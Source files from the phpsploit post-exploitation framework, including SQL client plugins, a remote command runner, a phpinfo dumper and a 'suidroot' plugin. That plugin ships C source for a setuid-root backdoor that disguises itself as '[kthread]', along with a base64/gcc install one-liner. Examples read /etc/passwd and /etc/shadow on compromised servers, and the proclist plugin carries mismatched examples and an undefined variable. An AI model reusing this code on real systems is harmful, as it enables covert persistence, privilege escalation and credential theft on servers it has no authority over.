MYSQL_BASE MySQL's default database to use AUTHOR: nil0x42 """ import sys import time from api import plugin from api import server from api import environ def load_credentials(raw_creds): """Return a dictionnary of credentials elements from raw format. """ result = {} result['USER'] = raw_creds[:raw_creds.find('@')] result['HOST'] = raw_creds[raw_creds.find('@')+1:] result['PASS'] = '' if '*' in raw_creds: result['HOST'] = raw_creds[raw_creds.find('@')+1:raw_creds.find('*')] result['PASS'] = raw_creds[raw_creds.find('*')+1:] return result def sql_str_repr(row): return "NULL" if row is None else str(row) if len(plugin.argv) < 2: sys.exit(plugin.help) # `mysql connect @ [-p ]` # Connect to a mysql server with credentials. # This comment creates or updates the MYSQL_CRED # environment variable. if plugin.argv[1].lower() == "connect": if len(plugin.argv) < 3: sys.exit(plugin.help) if plugin.argv[2].count('@') != 1: sys.exit("Invalid connection credentials") raw_creds = plugin.argv[2] if len(plugin.argv) > 3: if plugin.argv[3] == "-p": password = ' '.join(plugin.argv[4:]) raw_creds += '*' + password creds = load_credentials(raw_creds) payload = server.payload.Payload("connect.php") payload.update(creds) payload.send() if "MYSQL_CRED" not in environ: environ["MYSQL_CRED"] = "" if raw_creds != environ["MYSQL_CRED"]: if "MYSQL_BASE" in environ: del environ["MYSQL_BASE"] environ["MYSQL_CRED"] = raw_creds msg = ("[*] SUCCESS: Access granted for user" " '%s'@'%s' (using password: %s)") msg %= creds["USER"], creds["HOST"], ['YES', 'NO'][not creds['PASS']] print(msg) sys.exit(0) # check and load MYSQL_CRED environment variable if "MYSQL_CRED" not in environ: sys.exit("Not connected to any server, use `mysql connect` before") creds = load_credentials(environ["MYSQL_CRED"]) # format last mysql token correctly plugin.argv[-1] = plugin.argv[-1].strip().rstrip(';').strip() if plugin.argv[-1] == "": del plugin.argv[-1] # `mysql use ` # Select a default database for further mysql queries. if plugin.argv[1].lower() == "use": if len(plugin.argv) != 3: sys.exit(plugin.help) # prepare and send payload payload = server.payload.Payload("setdb.php") payload.update(creds) payload["BASE"] = plugin.argv[2] payload.send() # update MYSQL_BASE and exit properly environ["MYSQL_BASE"] = plugin.argv[2] print("[*] Database changed") sys.exit(0) # `mysql ""` # Run an SQL command. sql_query = " ".join(plugin.argv[1:]).rstrip(';').strip() if sql_query.endswith('\\G'): sql_query = sql_query[:-2].strip() display_mode = "line" else: display_mode = "column" # prepare and send payload payload = server.payload.Payload("payload.php") payload.update(creds) payload["QUERY"] = sql_query if "MYSQL_BASE" in environ: payload["BASE"] = environ["MYSQL_BASE"] start_time = time.time() response = payload.send() end_time = time.time() elapsed_time = "(%s sec)" % str(round(end_time - start_time, 2)) query_type = response[0] affected_rows = response[1] plural = '' if affected_rows == 1 else 's' # Query type: SET if query_type == "SET": msg = "[*] Query OK, %d row%s affected %s" print(msg % (affected_rows, plural, elapsed_time)) sys.exit(0) # Query type: GET if affected_rows == 0: print("[*] Empty set %s" % elapsed_time) sys.exit(0) fields = response[2][0] rows = response[2][1:] if display_mode == "line": field_space = len(max(fields, key=len)) fields = [(' ' * (field_space - len(x))) + x for x in fields] header = "*************************** %d. row ***************************" i = 1 for row in rows: print(header % i) j = 0 for field in fields: print("%s: %s" % (field, sql_str_repr(row[j]))) j += 1 i += 1 elif display_mode == "column": columns = [[str(field)] for field in fields] for row in rows: for i in range(len(fields)): columns[i].append(sql_str_repr(row[i])) cols_len = [len(max(column, key=len)) for column in columns] delimiter = '+-' + ('-+-'.join(['-' * i for i in cols_len])) + '-+' for row_no in range(len(columns[0])): row = [] for field_no in range(len(fields)): value = columns[field_no][row_no] fill = ' ' * (cols_len[field_no] - len(columns[field_no][row_no])) row.append(value + fill) if row_no < 2: print(delimiter) print('| ' + (' | '.join(row)) + ' |') print(delimiter) msg = "%s row%s in set %s" print(msg % (affected_rows, plural, elapsed_time)) sys.exit(0) phpsploit-3.2+git20240329.aea961d/plugins/sql/mysql/setdb.php000066400000000000000000000011241460155776400234120ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/sql/oracle/000077500000000000000000000000001460155776400217025ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/sql/oracle/connect.php000066400000000000000000000007441460155776400240510ustar00rootroot00000000000000= 1.1.0 required"); $user = $PHPSPLOIT["USER"]; $pass = $PHPSPLOIT["PASS"]; $connstr = $PHPSPLOIT["CONNSTR"]; $charset = $PHPSPLOIT["CHARSET"]; if ($charset) $conn = @ocilogon($user, $pass, $connstr, $charset); else $conn = @ocilogon($user, $pass, $connstr); if ($conn === False) { $err = @oci_error(); return error("ERROR: %s: %s", $err["code"], $err["message"]); } return "OK"; ?> phpsploit-3.2+git20240329.aea961d/plugins/sql/oracle/payload.php000066400000000000000000000044171460155776400240520ustar00rootroot00000000000000= 1.1.0 required"); // Establish connection (for deprecated ORACLE_CRED) function oracle_login($info, $connector, $serv_type) { $conn_str = '( DESCRIPTION = ( ADDRESS = ( PROTOCOL = TCP ) ( HOST = ' . $info["HOST"] . ') ( PORT = ' . $info["PORT"] . ') ) ( CONNECT_DATA = ( ' . $connector . ' = ' . $info["CONNECTOR"] . ') ( SERVER = ' . $serv_type . ') ) )'; $c = @ocilogon($info["USER"], $info["PASS"], $conn_str); return ($c); } # DEFAULT CONNECT if (isset($PHPSPLOIT['CONNSTR'])) { $user = $PHPSPLOIT["USER"]; $pass = $PHPSPLOIT["PASS"]; $connstr = $PHPSPLOIT["CONNSTR"]; $charset = $PHPSPLOIT["CHARSET"]; if ($charset) $conn = @ocilogon($user, $pass, $connstr, $charset); else $conn = @ocilogon($user, $pass, $connstr); } # DEPRECATED CONNECT else { $conn = False; if ($conn === False) $conn = oracle_login($PHPSPLOIT, "SERVICE_NAME", "POOLED"); if ($conn === False) $conn = oracle_login($PHPSPLOIT, "SERVICE_NAME", "DEDICATED"); if ($conn === False) $conn = oracle_login($PHPSPLOIT, "SID", "POOLED"); if ($conn === False) $conn = oracle_login($PHPSPLOIT, "SID", "DEDICATED"); } if ($conn === False) { $err = @oci_error(); return error("ERROR: ocilogon(): %s", $err["message"]); } // Send query $query = @ociparse($conn, $PHPSPLOIT['QUERY']); if (!$query) { $err = @oci_error(); return error("ERROR: ociparse(): %s", $err["message"]); } $statement_type = @ocistatementtype($query); if (!ociexecute($query)) { $err = @oci_error($query); return error("ERROR: ociexecute(): %s", $err["message"]); } if ($statement_type == "SELECT") { $result = array(); $obj = oci_fetch_array($query, OCI_ASSOC+OCI_RETURN_NULLS); $result[] = array_keys($obj); $result[] = array_values($obj); while ($line = oci_fetch_array($query, OCI_ASSOC+OCI_RETURN_NULLS)) $result[] = array_values($line); return array('GET', count($result) - 1, $result); } else { $rows = @ocirowcount($query); return array('SET', $rows); } ?> phpsploit-3.2+git20240329.aea961d/plugins/sql/oracle/plugin.py000066400000000000000000000153461460155776400235630ustar00rootroot00000000000000r"""A client for Oracle PL/SQL databases SYNOPSIS: oracle connect "" oracle connect "" [] oracle "" DESCRIPTION: Run Oracle PL/SQL commands through phpsploit. - The 'connect' argument establishes a connection with given credentials, which are then stored on `ORACLE_CRED` environment variable in order to be persistent between plugin calls in current session. - The contains the Oracle instance to connect to as an `Easy Connect String` as documented here: https://docs.oracle.com/database/121/NETAG/naming.htm#NETAG255 - A command that ends with '\G' will use tabular display mode. WARNING: Considering the PhpSploit's input parser, commands which contain quotes, semicolons, and other chars that could be interpreted by the framework SHALL be enquoted to be interpreted as a single argument. For example: > run echo 'foo bar' > /tmp/foobar; cat /etc/passwd In this case, quotes and semicolons will be interpreted by the framework, so the correct syntax is: > run "echo 'foo bar' > /tmp/foobar; cat /etc/passwd" EXAMPLES: > oracle connect SYS s3cr3t "(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=sales-server)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=sales.us.example.com)))" - Connect without defining > oracle connect SYS s3cr3t "(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=sales-server)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=sales.us.example.com)))" WE8ISO8859P1 - Connect with defined > oracle "SELECT owner, table_name FROM all_tables\\G" - Run SQL command > oracle "SELECT owner, table_name FROM all_tables\\G" - Same as above, using tabular format (mysql client like) ENVIRONMENT: * ORACLE_CRED Oracle connection credentials AUTHOR: nil0x42 """ import sys import time import re from api import plugin from api import server from api import environ def load_credentials(creds): """Return a dictionnary of credentials elements from raw format. """ result = {} # old method (retrocompat) try: regexp = "^USER=(.+?);PASS=(.+?);CONNSTR=(.+?)(?:;CHARSET=(.+))?$" parsed = re.findall(regexp, creds)[0] assert len(parsed) == 4 result['USER'] = parsed[0] result['PASS'] = parsed[1] result['CONNSTR'] = parsed[2] result['CHARSET'] = parsed[3] except: try: regexp = r"(.+?)@(.+?):(\d+)/([^*]+)(?:\*(.+))?" parsed = re.findall(regexp, creds)[0] assert len(parsed) == 5 result['USER'] = parsed[0] result['HOST'] = parsed[1] result['PORT'] = parsed[2] result['CONNECTOR'] = parsed[3] result['PASS'] = parsed[4] print("[-] Deprecated ORACLE_CRED env var scheme, run " "`oracle connect` again to update it.") except: sys.exit("couldn't parse ORACLE_CRED credentials: %s" % creds) return result def sql_str_repr(row): return "NULL" if row is None else str(row) if len(plugin.argv) < 2: sys.exit(plugin.help) # `oracle connect "" []` # Connect to a oracle server with credentials. # This comment creates or updates the ORACLE_CRED # environment variable. if plugin.argv[1].lower() == "connect": if len(plugin.argv) == 5: plugin.argv.append('') elif len(plugin.argv) != 6: sys.exit(plugin.help) print(plugin.argv[2:5]) raw_creds = "USER=%s;PASS=%s;CONNSTR=%s" % tuple(plugin.argv[2:5]) if plugin.argv[5]: raw_creds += ";CHARSET=" + plugin.argv[5] creds = load_credentials(raw_creds) payload = server.payload.Payload("connect.php") payload.update(creds) payload.send() if "ORACLE_CRED" not in environ: environ["ORACLE_CRED"] = "" if raw_creds != environ["ORACLE_CRED"]: environ["ORACLE_CRED"] = raw_creds msg = ("[*] SUCCESS: Access granted for user" " '%s' (using password: %s)") msg %= creds["USER"], ['YES', 'NO'][not creds['PASS']] print(msg) sys.exit(0) # check and load ORACLE_CRED environment variable if "ORACLE_CRED" not in environ: sys.exit("Not connected to any server, use `oracle connect` before") creds = load_credentials(environ["ORACLE_CRED"]) # format last oracle token correctly plugin.argv[-1] = plugin.argv[-1].strip().rstrip(';').strip() if plugin.argv[-1] == "": del plugin.argv[-1] # `oracle ""` # Run an SQL command. sql_query = " ".join(plugin.argv[1:]).rstrip(';').strip() if sql_query.endswith('\\G'): sql_query = sql_query[:-2].strip() display_mode = "line" else: display_mode = "column" # prepare and send payload payload = server.payload.Payload("payload.php") payload.update(creds) payload["QUERY"] = sql_query start_time = time.time() response = payload.send() end_time = time.time() elapsed_time = "(%s sec)" % str(round(end_time - start_time, 2)) query_type = response[0] affected_rows = response[1] plural = '' if affected_rows == 1 else 's' # Query type: SET if query_type == "SET": msg = "[*] Query OK, %d row%s affected %s" print(msg % (affected_rows, plural, elapsed_time)) sys.exit(0) fields = response[2][0] rows = response[2][1:] # Query type: GET if fields is None or affected_rows == 0: print("[*] Empty set %s" % elapsed_time) sys.exit(0) # replace NoneType() values to str("NULL") in all rows for i, row in enumerate(rows): rows[i] = ["NULL" if elem is None else elem for elem in row] if display_mode == "line": field_space = len(max(fields, key=len)) fields = [(' ' * (field_space - len(x))) + x for x in fields] header = "*************************** %d. row ***************************" i = 1 for row in rows: print(header % i) j = 0 for field in fields: print("%s: %s" % (field, sql_str_repr(row[j]))) j += 1 i += 1 elif display_mode == "column": columns = [[str(field)] for field in fields] for row in rows: for i in range(len(fields)): columns[i].append(sql_str_repr(row[i])) cols_len = [len(max(column, key=len)) for column in columns] delimiter = '+-' + ('-+-'.join(['-' * i for i in cols_len])) + '-+' for row_no in range(len(columns[0])): row = [] for field_no in range(len(fields)): value = columns[field_no][row_no] fill = ' ' * (cols_len[field_no] - len(columns[field_no][row_no])) row.append(value + fill) if row_no < 2: print(delimiter) print('| ' + (' | '.join(row)) + ' |') print(delimiter) msg = "%s row%s in set %s" print(msg % (affected_rows, plural, elapsed_time)) sys.exit(0) phpsploit-3.2+git20240329.aea961d/plugins/system/000077500000000000000000000000001460155776400211625ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/system/phpinfo/000077500000000000000000000000001460155776400226255ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/system/phpinfo/array_format.php000066400000000000000000000040561460155776400260310ustar00rootroot00000000000000(.*).*$#ms', '#

PHP License

.*$#ms', '#

Configuration

#', "#\r?\n#", "##", '# +<#', '#> +#', "#[ \t]+#", '# #', '# +#', '# class=".*?"#', '%'%', '#(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" />' .'

PHP Version (.*?)

(?:\n+?)#', '#

PHP Credits

#', '#(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)' .'Zend Engine (.*?),(?:.*?)#', "# +#", '##', '##', '#
#', '#Copyright#'), array('$1', '', '', "", ''."\n", ' <', '> ', ' ', ' ', ' ', '', ' ', '

PHP Configuration

'."\n".'PHP Version$2' .''."\n".'PHP Egg$1', 'PHP Credits Egg$1', 'Zend Engine$2'."\n" .'Zend Egg$1', ' ', '%S%', '%E%', ' ', ' Copyright'), ob_get_clean()); $sections = explode('

', strip_tags($pi, '

')); unset($sections[0]); $pi = array(); foreach($sections as $section) { $n = substr($section, 0, strpos($section, '

')); $regex = '#%S%(?:(.*?))?(?:(.*?)' . ')?(?:(.*?))?%E%#'; preg_match_all($regex, $section, $askapache, PREG_SET_ORDER); foreach($askapache as $m) { if (!isset($m[3]) || $m[2] == $m[3]) $pi[$n][$m[1]] = $m[2]; else $pi[$n][$m[1]] = array_slice($m, 2); } } return $pi; } return phpinfo_array(); ?> phpsploit-3.2+git20240329.aea961d/plugins/system/phpinfo/html_format.php000066400000000000000000000002131460155776400256460ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/system/phpinfo/plugin.py000066400000000000000000000124201460155776400244740ustar00rootroot00000000000000"""Output information about PHP's configuration SYNOPSIS: phpinfo [--browser] OPTIONS: --browser Display raw phpinfo()'s HTML output in web browser DESCRIPTION: Display the remote server's phpinfo() data in tabular text, formatted for the terminal. AUTHOR: nil0x42 """ import sys import ui.output from ui.color import colorize from api import plugin from api import server import base64 from datatypes import Path def sanitize(string): return string.replace(' ', ' ').strip() def lineify(string, maxlen): string = ' '.join(string.splitlines()) strLen = len(string) if not strLen > maxlen: return [string + (' ' * (maxlen - strLen))] words = string.split() result = [] if [x for x in words if len(x) > maxlen]: while len(''.join(result)) != strLen: result.append(string[:maxlen]) string = string[maxlen:] else: tempStr = '' for word in words: if len(tempStr + word) > maxlen: result.append(tempStr.strip()) tempStr = '' tempStr += word + ' ' if tempStr: result.append(tempStr.strip()) return [x + (' ' * (maxlen - len(x))) for x in result] def tablify(vals): maxLstLen = len(max(vals, key=len)) for elem in vals: while len(elem) != maxLstLen: elem.append(' ' * len(elem[0])) lines = {} for n in range(maxLstLen): lines[n] = [] for elem in vals: for n in range(maxLstLen): lines[n].append(elem[n]) result = '' for n in lines: result += '| ' + (' | '.join(lines[n])) + ' |\n' footer_fill = [('-' * len(x)) for x in lines[n]] footer = '+-' + ('-+-'.join(footer_fill)) + '-+' return result + footer # `phpinfo` without arguments (tabular text output) if len(plugin.argv) == 1: phpinfo = server.payload.Payload("array_format.php").send() if not phpinfo: sys.exit("Payload failed to dump phpinfo() array") tty_cols = ui.output.columns() for category in phpinfo: header = " " + ("_" * (tty_cols - 2)) + " \n" header += '|' + (' ' * (tty_cols - 2)) + '|\n' header += '|' + category.center(tty_cols - 2) + '|\n' header += '|' + ('_' * (tty_cols - 2)) + '|' print(colorize("\n", "%BoldBlue", header)) singles = [] elements = [] for name in phpinfo[category]: value = phpinfo[category][name] name = sanitize(name) if value is None: singles.append(name) else: elements.append((name, value)) if [(n, v) for (n, v) in elements if isinstance(v, list)]: old = elements elements = [] for (n, v) in old: n = sanitize(n) if isinstance(v, list): lv, mv = sanitize(v[0]), sanitize(v[1]) else: lv, mv = sanitize(v), sanitize(v) elements.append((n, lv, mv)) if elements: titles = ['Variable'] if len(elements[0]) == 2: titles += ['Value'] else: titles += ['Local Value', 'Master Value'] lists = [] lens = [] maxLen = tty_cols - 1 for n in range(len(elements[0])): lst = [x[n] for x in elements] lists.append(lst) lens.append(max(len(titles[n]), len(max(lst, key=len)))) maxLen -= 3 def allInts(intsLst): res = 0 for i in intsLst: res += i return res if allInts(lens) > maxLen: max_of_each = [max(x.split(' '), key=len) for x in lists[0]] lens[0] = len(max(max_of_each, key=len)) for n in range(1, len(lens)): lens[n] = int((maxLen - lens[0]) / (len(lens) - 1)) while allInts(lens) < maxLen: lens[-1] += 1 separator = '+-' header = '| ' for n in range(len(lens)): separator += ('-' * (lens[n])) + '-+-' header += colorize("%Bold", lineify(titles[n], lens[n])[0]) + ' | ' separator = separator[:-1] header = header[:-1] print(separator + "\n" + header + "\n" + separator) for line in elements: tmp = [] for n in range(len(lens)): tmp.append(lineify(line[n], lens[n])) print(tablify(tmp)) for elem in singles: if not elements: print('+' + ('-' * (tty_cols - 2)) + '+') print(tablify([lineify(elem, (tty_cols - 4))])) print() # `phpinfo --browser` (view html output in browser) elif len(plugin.argv) == 2 and plugin.argv[1] == "--browser": html_output = server.payload.Payload("html_format.php").send() tmp_file = Path(filename="phpinfo.html") tmp_file.write(html_output) if tmp_file.browse(): print("[*] Successfully opened %r in browser" % tmp_file) else: print("[-] Failed to open %r in web browser" % tmp_file) print("[-] Try to change BROWSER environment variable") else: sys.exit(plugin.help) phpsploit-3.2+git20240329.aea961d/plugins/system/proclist/000077500000000000000000000000001460155776400230215ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/system/proclist/payload.php000066400000000000000000000002251460155776400251620ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/system/proclist/plugin.py000066400000000000000000000017261460155776400246770ustar00rootroot00000000000000"""Get process list SYNOPSIS: proclist DESCRIPTION: List processes on remote server. * On WINDOWS, the plugin gets results from: * On LINUX, the following is used: (OPSEC-unsafe !) EXAMPLES: > cloudcredgrab - look for all cloud credentials in all user directories > cloudcredgrab -u www aws - look for AWS credentials in www's user files AUTHOR: Jose """ import sys from api import plugin from api import server import plugin_args if len(plugin.argv) != 1: sys.exit(plugin.help) # options are not used for the moment... opt = plugin_args.parse(plugin.argv[1:]) payload = server.payload.Payload("payload.php") result = payload.send() print("%5s %40s" % ("PID", "INFORMATION")) print("%5s %40s" % ("---", "-----------")) for elem in results: pid, info = elem.split(" ", 1) print("%5s %40s" % (pid, info.strip())) phpsploit-3.2+git20240329.aea961d/plugins/system/proclist/plugin_args.py000066400000000000000000000006361460155776400257120ustar00rootroot00000000000000import argparse import ui.output def help_format_proclist(prog): kwargs = dict() kwargs['width'] = ui.output.columns() kwargs['max_help_position'] = 34 format = argparse.HelpFormatter(prog, **kwargs) return (format) def parse(args): parser = argparse.ArgumentParser(prog="scan", add_help=False, usage=argparse.SUPPRESS) options = vars(parser.parse_args(args)) return options phpsploit-3.2+git20240329.aea961d/plugins/system/run/000077500000000000000000000000001460155776400217665ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/system/run/payload.php000066400000000000000000000000761460155776400241330ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/system/run/plugin.py000066400000000000000000000063101460155776400236360ustar00rootroot00000000000000"""Execute a command on remote server SYNOPSIS: run "" DESCRIPTION: Most phpsploit plugins intend to simulate shell commands to still be able to 'work' when command execution is blocked to PHP security restrictions. Therefore, a few remote servers still allow shell command execution. So despite a lower stealth, being able to run real shell commands is always useful to escalate privileges. UNIX/Linux Additional Features: The PWD environment variable is kept up-to-date, by wrapping launched commands with a 'current path checker'. If you do `run ./batch.sh`, the plugin wraps and runs: > cd $PWD; ./batch.sh; pwd So relative paths are correctly reached by commands, and PWD environment variable is updated according to remote $PWD. WARNING: Considering phpsploit's input parser, commands which contain quotes, semicolons, and other chars that could be interpreted by the framework MUST be quoted to be interpreted as a single argument. * Bad command: # Here, phpsploit parser detects multiple commands: > run echo 'foo bar' > /tmp/foobar; cat /etc/passwd * Good command: # Here, the whole string is correctly passed to plugin > run "echo 'foo bar' > /tmp/foobar; cat /etc/passwd" EXAMPLES: > run ipconfig /all - Run the 'ipconfig' tool on windows servers > run ls -la /etc - List any file in the /etc/ directory on *nix systems > run "cat /etc/passwd | grep root; ls /tmp" - Just a multi command, which must be quoted because of the semicolon (see WARNING) AUTHOR: nil0x42 """ import sys from api import plugin from api import server from api import environ if len(plugin.argv) < 2: sys.exit(plugin.help) if environ['PLATFORM'].startswith("win"): cmd_sep = " & " else: cmd_sep = " ; " cmd_list = [] # This small hack enables STDERR display on unix platforms if not environ['PLATFORM'].lower().startswith("win"): cmd_list.append('exec 2>&1') # Change directory to $PWD before commands execution cmd_list.append('cd ' + environ['PWD']) # Add commands (plugin arguments) to cmd_list cmd_list.append(" ".join(plugin.argv[1:])) # Prepare payload payload = server.payload.Payload("payload.php") payload['CMD'] = cmd_sep.join(cmd_list).strip() # Patch for unix platforms to update $PWD if changed (1/2) if not environ['PLATFORM'].lower().startswith("win"): if payload["CMD"][-1] not in ";&": payload["CMD"] += " ; " payload['CMD'] += "echo ; echo AzXB `pwd` AzXB" print("[#] raw command: %r" % payload['CMD']) output = payload.send() lines = output.splitlines() if environ['PLATFORM'].lower().startswith("win"): for line in lines: print(line) sys.exit(0) if not lines: sys.exit("No output received") new_pwd = lines.pop() try: assert new_pwd.startswith("AzXB ") assert new_pwd.endswith(" AzXB") new_pwd = new_pwd[5:-5] assert server.path.isabs(new_pwd) environ['PWD'] = new_pwd if lines and not lines[-1]: lines.pop(-1) for line in lines: print(line) except AssertionError: print("[-] Couldn't retrieve new $PWD.") print("[-] Raw output:") print(output) sys.exit(1) phpsploit-3.2+git20240329.aea961d/plugins/system/suidroot/000077500000000000000000000000001460155776400230325ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/system/suidroot/backdoor.c000066400000000000000000000012351460155776400247630ustar00rootroot00000000000000#include #include #include #define BUF_SIZE 65536 #define FAKE_CMD "[kthread]" int main(int argc, char **argv) { char buf[BUF_SIZE]; int i; // hide process name (from `ps -ef`, etc) i = strlen(argv[0]); memset(argv[0], 0, i); if (sizeof(FAKE_CMD) <= i) strcpy(argv[0], FAKE_CMD); // concat command list memset(buf, 0, BUF_SIZE); for (i=1; i phpsploit-3.2+git20240329.aea961d/plugins/system/suidroot/plugin.py000066400000000000000000000113461460155776400247070ustar00rootroot00000000000000"""Setuid backdoor handler SYNOPSIS: suidroot --create suidroot "" DESCRIPTION: Provide a simple way to install persistent setuid(2) backdoor from previously obtained root access. SUIDROOT_BACKDOOR file should be carefully chosen to not look suspicious. Our goal is to make it as undetectable as we can. I recommend searching for legitimate setuid() files already installed on the system, and using a similar file path as SUIDROOT_BACKDOOR. # sources: http://lmgtfy.com/?q=find+suid+files+linux LIMITATIONS: - Only works on Linux/UNIX. - RCE must be available (`run` plugin must work). - Current (unprivileged) user must have execution rights on SUIDROOT_BACKDOOR file. WARNING: Considering phpsploit's input parser, commands which contain quotes, semicolons, and other chars that could be interpreted by the framework MUST be quoted to be interpreted as a single argument. * Bad command: # Here, phpsploit parser detects multiple commands: > suidroot echo 'foo bar' > /tmp/foobar; cat /etc/passwd * Good command: # Here, the whole string is correctly passed to plugin > suidroot "echo 'foo bar' > /tmp/foobar; cat /etc/passwd" EXAMPLES: > suidroot --create /tmp/backdoor - Generates the payload to be run as root in order to enable persistance through phpsploit > suidroot cat /tmp/shadow - Print the /etc/shadow data as root > suidroot "whoami; id" - Show your current user and id (enjoy!) ENVIRONMENT: * SUIDROOT_BACKDOOR The setuid(2) backdoor file * SUIDROOT_PWD Current working directory for privileged user AUTHOR: nil0x42 """ import sys import os import base64 from core import encoding import ui.color import ui.input from api import plugin from api import server from api import environ SUIDROOT_ENV_VARS = {"SUIDROOT_BACKDOOR", "SUIDROOT_PWD"} if environ["PLATFORM"].lower().startswith("win"): sys.exit("Plugin available on unix-based platforms only") if len(plugin.argv) < 2: sys.exit(plugin.help) if plugin.argv[1] == '--create': if len(plugin.argv) != 3: sys.exit(plugin.help) backdoor_file = server.path.abspath(plugin.argv[2]) # create the payload that must be run as privileged used. # The suidroot backdoor is then created with suid byte # enabled, making tunnel available. file = open(os.path.join(plugin.path, "backdoor.c"), 'rb') source_code = encoding.decode(base64.b64encode(file.read())) payload = ("echo %b | python -m base64 -d | gcc -o %f -x c -;" "chown root %f;" "chmod 4755 %f;" ).replace('%f', backdoor_file).replace('%b', source_code) # prevent previous configuration override if SUIDROOT_ENV_VARS.issubset(set(environ)): msg = "suidroot environment variables already set. override them ?" if ui.input.Expect(False, skip_interrupt=False)(msg): sys.exit("Operation canceled") print("[*] In order to use suidroot privileged command execution, " "run the following shell payload AS ROOT on the remote system:") print(ui.color.colorize("\n", "%Blue", payload, "\n")) environ['SUIDROOT_BACKDOOR'] = backdoor_file environ['SUIDROOT_PWD'] = environ['PWD'] sys.exit() # On classic command pass, make sure the exploit is activated for var in SUIDROOT_ENV_VARS: msg = "Missing environment variable: %s: Use 'suidroot --create'" if var not in environ: sys.exit(msg % var) # build the command to send from given arguments command = ' '.join(plugin.argv[1:]).strip() # chdir to SUIDROOT_PWD before if not command.startswith(";"): command = " ; " + command command = 'cd ' + environ['SUIDROOT_PWD'] + command # token to make sure new pwd is known if not command.endswith(";"): command += " ; " command += "echo ; echo suid `pwd` suid" # build the payload to send the command to run on system payload = server.payload.Payload("payload.php") # prepend slashes, so backdoor can spoof it's name with fake '[kthread]' str payload['BACKDOOR'] = "/////////" + environ['SUIDROOT_BACKDOOR'] payload['COMMAND'] = repr(command) print("[#] raw command: %r" % command) output = payload.send() lines = output.splitlines() if not lines: sys.exit("No output received") new_pwd = lines.pop() try: assert new_pwd.startswith("suid ") assert new_pwd.endswith(" suid") new_pwd = new_pwd[5:-5] assert server.path.isabs(new_pwd) environ['SUIDROOT_PWD'] = new_pwd if lines and not lines[-1]: lines.pop(-1) for line in lines: print(line) except AssertionError: print("[-] Couldn't retrieve new $PWD.") print("[-] Raw output:") print(output) sys.exit(1) phpsploit-3.2+git20240329.aea961d/plugins/system/whoami/000077500000000000000000000000001460155776400224465ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/system/whoami/plugin.py000066400000000000000000000005631460155776400243220ustar00rootroot00000000000000"""Print effective userid SYNOPSIS: whoami DESCRIPTION: Print the user name associated with current remote server access rights. * PASSIVE PLUGIN: No requests are sent to server, as current user is known by $USER environment variable (`env USER`); AUTHOR: nil0x42 """ from api import environ print(environ['USER']) phpsploit-3.2+git20240329.aea961d/requirements.txt000066400000000000000000000013401460155776400214370ustar00rootroot00000000000000# vi: ft=conf ### mandatory dependencies ########################## # Needed to communicate between Python and PHP remote execution phpserialize==1.3 # A dependency of `shnake`. Used to parse command-line input pyparsing==3.1.2 # Needed by the PROXY setting to support socks4/5 proxy types PySocks==1.7.1 # Needed since sockshandler.py (from Pysocks) maintenance has been stopped: # https://github.com/Anorov/PySocks/issues/134#issuecomment-1310323763 ExtProxy==1.0.3 ### optional dependencies ########################## # Enable php code syntax coloration pygments==2.17.2 # # Enhanced python console for use with `corectl python-console` # bpython # # # Enhanced python console for use with `corectl python-console` # IPython phpsploit-3.2+git20240329.aea961d/src/000077500000000000000000000000001460155776400167445ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/__init__.py000066400000000000000000000014741460155776400210630ustar00rootroot00000000000000"""Phpsploit framework core loader. This pseudo module is designed to be imported (import lib) from the phpsploit script launcher (./phpsploit). It also can be imported from phpsploit root directory through a python interpreter for debugging purposes. It loads the phpsploit core & overwrites sys.path's first element to the current directory (./lib/), making all self contained elements directly importable from python. """ import os import sys from . import utils BASEDIR = utils.path.truepath(sys.path[0]) + os.sep COREDIR = os.path.join(BASEDIR, __name__) + os.sep # use current directory as main python path sys.path[0] = COREDIR # add src/core/shnake-0.5/ to python path shnake_path = os.path.join(COREDIR, "shnake-0.5") + os.sep sys.path.insert(0, shnake_path) del sys, os, shnake_path # clean package's content phpsploit-3.2+git20240329.aea961d/src/api/000077500000000000000000000000001460155776400175155ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/api/__init__.py000066400000000000000000000013411460155776400216250ustar00rootroot00000000000000"""Phpsploit plugin developer API This package includes the python-side plugin development API. CONTENTS: * plugin (type: api.plugin.Plugin()) Access running plugin attributes * environ (type: dict) Access phpsploit session's Environment Variables * server (type: package) Provides target server related operations. Modules: - path: Remote server pathname operations. - payload: Run a PHP payload on remote server. """ __all__ = ["plugin", "environ", "server"] from core import session # Define api.plugin (current plugin attributes) from .plugin import plugin # Import api.server package from . import server # Define api.environ dictionary (environment variables) environ = session.Env del session phpsploit-3.2+git20240329.aea961d/src/api/php-functions/000077500000000000000000000000001460155776400223125ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/api/php-functions/can_change_mtime.php000066400000000000000000000004041460155776400262620ustar00rootroot00000000000000 bool): // check if mtime can be arbitrarly changed function can_change_mtime($path) { $old_mtime = @filemtime($path); $old_atime = @fileatime($path); return @touch($path, $old_mtime, $old_atime); } ?> phpsploit-3.2+git20240329.aea961d/src/api/php-functions/dirAccess.php000066400000000000000000000024201460155776400247210ustar00rootroot00000000000000 boolean): // Check if $abspath directory has $mode permission. // // $abspath (string): // This variable must refer to an exsting directory. // $mode (char): // Mode should be 'r' to test read access, and 'w' // to check write access. // // EXAMPLE: // >>> dirAccess("/etc/", 'r') // True // >>> dirAccess("/etc/", 'w') // False // // TODO: It will be smart if the function could restore atime // (access time) on unix systems after 